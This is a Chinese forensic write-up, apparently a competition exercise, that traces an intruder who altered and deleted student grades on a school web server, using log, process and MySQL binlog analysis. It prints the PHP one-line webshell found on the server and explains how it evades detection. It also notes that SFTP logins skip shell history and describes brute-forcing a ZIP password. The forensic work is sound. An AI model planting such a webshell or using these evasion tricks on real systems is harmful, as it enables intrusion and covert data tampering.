Knowledge Collection: 【黑客入侵取证纪实】入侵服务器修改考试成绩的取证和分析

来源：信息时代的犯罪侦查，原作者：先森

“坏人”非法入侵学校的服务器，恶意修改学生考试成绩。如何对这种情况进行取证和分析。此文提供了较为详细的实践。这是一道不错的电子取证比武题目。

已知信息

被入侵的服务器IP地址：192.168.232.147

（系统时间和IP可能有不一致的情况，请忽略）

取证和分析步骤

“先森”几乎运用纯手工的七个步骤，比较完整的追踪和定位了“黑客”的行为痕迹。部分地方的知识点不适合初学者阅读，小编自行删除了。

1、被入侵服务器的数据做证据固定，包括但不限于：系统版本、IP、进程信息、登录日志、时间、日志、数据库、网站、Web访问日志等。（20分）

（1）查看系统版本的几种命令：

lsb_release -a

uname -a

cat /proc/version

（2）查看IP：

ifconfig

（3）查看进程信息：

ps aux

ps -ef

（4）登录日志：

(注意:几处登陆日志被hacker删除了)

last

（5）网站日志：

因为服务器没有使用默认网站，所以无法从默认站点上获取网站的信息。

思路：首先查找http服务，发现是nginx。因为日志文件是需要实时写入的，遂查找nginx进程的正在使用的文件。

ps –ef | grep nginx //查找nginx的进程号

ll /proc/【pid】/fd //列出某进程打开文件的情况

/home/wwwlogs/nginx_error.log 是nginx的存放错误日志的文件。

/home/wwwlogs/access/log 是nginx的访客记录日志文件，一般包括IP、访问时间、访问的链接、来源链接、user-agent、页面状态码等。

（6）数据库日志：

取证时不建议直接登录数据库操作，因为这样会造成sql查询日志污染。

Linux下数据库一般是mysql，而mysql的配置文件一般命名为my.cnf。

查看mysql配置文件，没有什么发现。

然后尝试通过进程来获取mysql服务相关的信息：

ps aux | grep mysql

参数说明：

datadir：数据库数据存放路径

log-error：存放错误日志路径

pid-file：记录当前mysql进程的pid

basedir：数据库安装路径

plugin-dir：插件路径

通过参数我们得知mysql的路径位置为/usr/local/mysql/

进入mysql的目录：

cd /usr/local/mysql/var

发现通用查询日志(这里通过默认文件名判断的，若想准确定位需要用mysql内置函数来查找 show variables like 'general_log_file';)：

这就意味着我们得到了mysql的操作日志。

mysql-bin.* ——二进制日志文件

我用notepad++打开了其中一个文件，发现有一个修改root密码的操作。拿到mysql数据的密码。

意外的收获：

在对日志进行梳理的时候，发现该服务器有自动备份history操作的备份计划任务。

cat /var/log/cron //查看计划任务日志

cat /tmp/backup-log/backuplog.sh //查看backuplog.sh的内容

可以看到该脚本将/var/log 和 /root/.bash_history 压缩并以带有时间的命名存放在/tmp/backup-log/ 文件夹下。

将backup-log文件夹down回来分析：

发现最早的history日志备份是我们取证过程中自动备份的。

同样/var/log/下的日志备份也是我们取证这段时间的。

而被入侵前和入侵时的日志被hacker刻意删除了。(由于手里没有好用的数据恢复工具，就没有对数据进行恢复，但不影响从其他途径取证)

考虑到服务器还会有遗留的备份日志压缩包的可能性，尝试查找一下：

locate .backup-history //locate会自动匹配带有“.backup-history”的文件

locate .var.log

分别得到命名为201708081534.tar.gz 和 var.log201708081329.tar.gz的两个压缩包。

解压这history压缩包：

该history文件只记录了管理员的操作，并没有记录hacker入侵时候的操作。所以此次备份于hacker入侵前自动备份。

（7）其他零碎的线索：

2017年8月8日下午三点四十五分从学生成绩表中导出了数据并命名为studient.csv

2、从被入侵服务器中提取入侵者IP，判断入侵者的入侵方式，简述判断依据；（10）

查看nginx的access.log：

cd /home/wwwlogs/ //进入网站日志目录

cat access.log | more //分页查看日志

对web日志进行审计时候，发现有异常操作。这里对其中的一部分截取分析，第7019行和7020行：

通过日志我们发现，IP为192.168.232.150的访客，频繁访问了 adminer.php和1.php这两个文件。从这文件命名习惯来看,这两个文件看起来不是正常文件。

用locate命令去定位1.php，并查看1.php的内容：

locate 1.php //定位1.php的绝对路径

cat /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php //查看1.php的内容

<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['xise']);?>

很明显这是“一句话木马”，所谓一句话木马就是将一段含有任意代码执行的php/asp/aspx/jsp等脚本上传到网站，当webshell客户端（一般为中国菜刀，当然一些黑客不满足于中国菜刀内置的功能，开发出功能更强的客户端）要对网站进行操作时，会用内置函数去调用(通过POST一段base64编码的代码)“一句话木马”，以实现相应的操作。“一句话“将原本功能复杂、体积庞大的“大马”精简到一行代码并且功能不减，是黑客最钟爱的后门手段。

分析一句话：

通过创建数组的方式实现代码“中转”从而欺骗防护软件达到任意代码执行功能。关于assert函数的介绍，摘自php官方手册：

bool assert ( mixed $assertion [, Throwable $exception ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

请注意最后一句，如果assert中参数为字符串，将会被当作代码执行。而assert中的字符串则是通过xise这个参数传递过来的。将上面一句话精简后，如下：

<?php assert($_POST[‘xise’])?>

同时根据POST中的变量名xise我们可以推测出黑客使用的webshell管理器就是“XISE”——批量webshell &寄生虫管理器。

我们继续追1.php的日志，尝试查找1.php最早被创建以及访问的时间：

ls –al /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php //查看详细信息

1.php的创建时间为6月8日，考虑到文件创建时间可以被伪造，这里我们不做记录。

而网站日志里的第一次访问时间是不会被伪造的，得到8月8日下午四点四分hacker第一次访问了后门，所以hacker入侵服务器(写入webshell)的时间是8月8日下午四点四分之前。

同样的方法，我们定位adminer.php并获取它的信息：

locate adminer.php

ls –al /home/wwwroot/mhedu.sh.cn/adminer.php //查看详细信息，日期

通过对代码的分析，我们得知adminer.php是一个正常的数据库管理脚本(实则是大部分黑客的拖库利器)：

同样的，我们追adminer.php第一次出现的时间：

8月8日下午三点五十九分出现。同时访问者的IP和入侵者的IP为同一个，所以我们相信 adminer.php 和 1.php 均是hacker上传的。剩下的我们重点分析192.168.232.150访问过的页面，当然其他的IP也不能忽视。

当审计完所有WEB日志后，发现adminer.php完全凌空出现在网站上，同样1.php也是。常规情况下，黑客WEB入侵会留下大量日志，如SQL注入、上传后门、文件扫描等等。而这里并没有出现任何WEB入侵的迹象。

前面在对登陆日志审计时，发现早期的日志不存在，猜测hacker可能提权后将日志和部分痕迹清理掉了。而清除日志需要用root权限，所以hacker已经拿到服务器的root权限且以root身份操作过服务器。

从1.php第一次出现和他出现之前最有一次访问网站时间间隔来看，hacker用完adminer.php后，中间有4分钟没有操作，之后hacker开始访问1.php。

我们推测有两个原因：要么是4分钟确实进行了入侵操作，但hacker把日志删除了；要么就是这4分钟他通过某种方式对网站写入了1.php，并非WEB层次上的。

假设第一个理由成立，黑客入侵后对关键WEB日志删除过，那他为什么不全部删除呢？日志里已经有他大量的IP访问记录了，全部删除岂不是更好？况且adminer.php和1.php的日志他为什么不删除？所以第一个理由被推翻，我们猜测通过服务器其他服务入侵的。

查看开放端口并判断入侵方式：

常见的3306、80、22端口开放，分别对应着mysql、nginx、sshd服务。Mysql的入侵一般就是密码暴力破解，nginx就是网站入侵(已排除)、sshd也是暴力破解。

通过之前的mysql日志(general log)分析，并没有发现有写入webshell的操作，最终推测可能是利用sshd服务入侵的(ssh日志被删除了，无法完全认定是ssh入侵的)。

注：查阅相关资料后，发现Winscp下使用sftp协议，执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录，但在/var/log/secure下有日志。

判断可能是通过Winscp登陆，并且使用sftp协议来绕过记录。

3、入侵者是否存在删除日志的行为，如何删除？（10）

存在删除日志的行为。

history //查看bash操作历史

可以看到，hacker查找了名为”.bash_history”的文件，并删除了它。

前面在对/var/log下的日志进行取证时，发现丢失了大量的日志，如wtmp、secure、lastlog等等。所以hacker应该先删除了/var/log的日志，最后又删除了history日志。

4、入侵者有修改过数据库中的数据？修改是哪些数据？（5）

修改过数据库中的数据。

cat /usr/local/mysql/var/localhost.log |grep “update” //查看通用日志中的update操作

通过对mysql操作日志(通用日志)来看，发现hacker使用update命令，对张晓和李小东两人的成绩进行修改。修改前二人分别为580分和592分，修改后二人成绩分别为590分和600分。

5、服务器中存在一个被加密过的压缩包，请提取或破解其加密密码并还原到数据库中。（5）

思路：遍历所有加密压缩包，首先以找文件名奇怪的为主。

在没有任何准备的情况下，我真的遍历了所有压缩包，搜寻了大约1个多小时就放弃了。

使用命令遍历海量压缩包查找方式走投无路，我决定使用“笨办法”——编程。即通过遍历压缩包的加密位来判断当前压缩包是否被加密，然后再筛选。

因为需要知道压缩包HEX下加密位的特征，所以我打算在centos上加密压缩一个再提取加密位，当加密时候，发现只有两个压缩包支持：

这样范围缩小到后缀为.cbz和.zip。

第一种方法：使用find命令直接查找后缀为”cbz”/”zip”的文件，然后根据名字判断。

第二种：写程序遍历后缀为”cbz”/”zip”的文件并提取带有加密位的压缩包。

find / -type f –name “*.zip” //从根目录下遍历后缀为zip的文件

发现有一个叫做studient.sql.zip的压缩包，直觉告诉我这个压缩包绝对有问题。

成功找到加密压缩包student.sql.zip

虽然使用find命令很快拿到了结果，但我还是想试试编程方式，顺便练练手。当我在windows上写好程序并且测试通过，准备放到centos上时候，意想不到的情况发生了：

通过在互联网上查找错误信息，我确认是python版本的问题，因为升级python会破坏数字证据，我放弃了这条思路。此脚本我放到“取证”文件夹的根目录了，写的很简单，有几个bug没修复。

爆破ZIP压缩包：

使用Archpr+弱口令爆破压缩包

跑一下密码，发现密码是111111。

考虑到直接恢复到服务器数据库会造成日志污染，我将mysql恢复到了我的一台服务器上：

第一步，执行SQL命令“create database student”，创建一个数据库；

第二步，在MYSQL-Front中打开student.sql，弹出窗口询问是否执行，点击是；

得到1879条学生信息数据。

6、入侵者是否删除过的数据库中的数据？是否可以恢复，如何恢复。（5）

删除过数据。

2017年8月8日下午四点六分四十八秒 hacker连接到数据库，并删除了第一批数据；

下午四点六分五十四秒，删除了第二批数据；

下午四点七分零三秒，删除了第三批数据；

下午四点七分零八秒，删除了第四批数据。

数据恢复过程：

相关资料：[如何通过mysql binlog 恢复数据]

Binlog的create time有问题，可能是服务器时间问题可以无视。

【注意:恢复数据时，切记不要在取证机器上操作】

登陆mysql数据库，查看恢复前的记录数：

mysql –u root –p //以数据库管理员root身份登陆；

show databases; //查看所有数据库；

use studient //使用studient数据库

show tables; //查看studient数据库中的表；

select count(*) from score; //查看score表的记录数。

看到只有1679条记录。

开始恢复数据：

cd /usr/local/mysql/var/ //进入到mysql存放日志的目录

ls //查看该目录下的文件

/usr/local/mysql/bin/mysqlbinlog mysql-bin.00001 >/root/Desktop/test.sql //使用mysqlbinlog 恢复mysql-bin.00001到桌面上并创建名为test.sql

……

/usr/local/mysql/bin/mysqlbinlog mysql-bin.00008 --stop-date="2017-08-08 16:05:00" >>/root/Desktop/test.sql //将00001-00007追加到test.sql后，我们需要对00008进行选择性恢复，即设置时间限制。因为hacker第一次删除数据是2017年8月8日下午四点六分四十八秒，为了最大降低恢复数据的误差，我将stop-date设置为“2017-0808 16:05:00”，然后继续追加到桌面的test.sql。